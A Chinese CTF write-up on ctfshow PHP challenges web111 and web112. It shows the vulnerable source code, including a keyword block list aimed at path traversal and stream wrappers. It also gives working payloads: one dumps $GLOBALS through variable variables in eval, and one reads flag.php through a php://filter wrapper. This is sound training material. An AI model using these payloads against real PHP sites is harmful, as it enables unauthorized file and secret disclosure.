首页 > 编程语言 >ctfshow php特性

ctfshow php特性

时间:2023-05-21 21:46:19浏览次数:36  
标签:GET 特性 v1 v2 ctfshow file php

web111

源代码

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");  //这里是一个赋值语句把v2的值复制下面通过get获得的$$v1值
    var_dump($$v1);       //打印$$v1的值
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
          //下面过滤后基本就是输入字母的意思
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){  //当$v1的值有ctfshow时,运行下面语句
            getFlag($v1,$v2);
    }

payload:?v1=ctfshow&v2=GLOBALS

web112

1.源代码

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
//大概意思就是需要你给file这个参数赋值然后需要你的值绕过前面的过滤最后到这个highlight_file函数

2.知识点

is_file函数:判断输入的参数是不是文件

特点:PHP伪协议对这个函数来说不是函数

highlight_file函数:高亮文件

特点:对这个函数来说是函数

3.解题

payload:?file=php://filter/resource=flag.php

 

标签:GET,特性,v1,v2,ctfshow,file,php
From: https://www.cnblogs.com/xxpanda/p/17419222.html

相关文章

  • php+phpstorm+xdebug配置
    简介原文链接:https://culturesun.site/index.php/archives/675.html因为博客是php的,所以无奈接触了php开发,虽然之前也学习过php语法。搞开发是离不开debug。最初从网上找到相关教程配置成功了,后来升级php,浏览器崩了搞的debug不行,再配置怎么也不成功,准确的来说,网上的辣鸡贴子太......
  • 宝塔面板中安装php8以上环境,提示: configure: error: iconv does not support errno
    问题:宝塔面板中安装php8编译时提示configure:error:iconvdoesnotsupporterrno#下面这些是配置yum源和epel源,阿里云ecs在centos8测试成功wgethttp://mirrors.cloud.aliyuncs.com/repo/Centos-vault-8.5.2111.repo-O/etc/yum.repos.d/Centos-vault-8.5.2111.repo&&......
  • MQTT 3.1.1,值得升级的6个新特性
    前言以前看英文文章或资料,看完之后,摘要或者忘记。这一次选择感兴趣的MQTT3.1.1介绍文章资料,引文见文末,作为练手;非完全翻译,去除掉一些广告性描述,若侵权,请告知。在沉寂了四年之后,QTT3.1.1规范于2014年10月30号正式发布,与此同时MQTT3.1.1已成为OASIS(结构化信息标准促进组织)开放物......
  • php 操作数组 (合并,拆分,追加,查找,删除等)
    1.合并数组array_merge()函数将数组合并到一起,返回一个联合的数组。所得到的数组以第一个输入数组参数开始,按后面数组参数出现的顺序依次迫加。其形式为:Php代码1.arrayarray_merge(array这个函数将一个或多个数组的单元合并起来,一个数组中的值附加在前一个数组......
  • PHP模拟登录并获取数据
    cURL是一个功能强大的PHP库,使用PHP的cURL库可以简单和有效地抓取网页并采集内容,设置cookie完成模拟登录网页,curl提供了丰富的函数,开发者可以从PHP手册中获取更多关于cURL信息。本文以模拟登录开源中国(oschina)为例,和大家分享cURL的使用。PHP的curl()在抓取网页的效率方面是比较......
  • Linux 服务器中 PHP 版本从 5.x 升级到 7.x
    如果把Linux服务器的PHP版本升级呢?比如目前版本是 PHP5.6.40,升级到7.4当前最最新版本 PHP7.4.30。查看当前PHP版本 php-v卸载已安装的PHPyumremovephp-common安装EPEL源yuminstallepel-release如果已安装过,则提示如下:安装remi 源yuminstallhttp://rpms.rem......
  • PHP 基础
    <?php__FUNCTION__:获取函数名标记和注释<?phpecho'helloworld';?>/*注释*///注释语法结束符<?php?><?php变量//定义变量使用$关键字$a=1;//访问变量echo$a;//修变量$a=2;//删除变量使用unset关键字unset(变量名);变量命名规则......
  • Java编程进阶:掌握这五个高级特性让编码更得心应手
    当今,在软件开发中最流行和使用最广泛的语言之一是Java。Java不仅是一种面向对象的编程语言,还可以用于Web开发、移动应用程序编程、云计算和大数据处理。如果你是一个初学者,或者是想要进一步了解Java编程的高级特性,那么这篇文章会帮助你更好地了解Java编程。一、使用lambda表达式在J......
  • PHP性能优化工具篇Benchmark类调试执行时间
    这是PHP性能优化系列第二期,如何使用PEAR工具类Benchmark逐行获取代码或函数的执行时间。工欲善其事,必先利其器!如何安装PEAR和Benchmark请参考PHP性能优化系列第一期[PHP性能优化准备篇图解PEAR安装]Benchmark工具类包说明直接下载/package/Benchmark/downloadBenchmark工具类包共......
  • nodejs 解析php的session_decode 的module(session_decode.js)
    文件名:session_decode.js//exports.session_decode=function(){//varmessage="Hellofromtheohaitheremodule";//returnmessage;//};exports.session_decode=function(data){//*example:session_decode('firstName|s:5:&quo......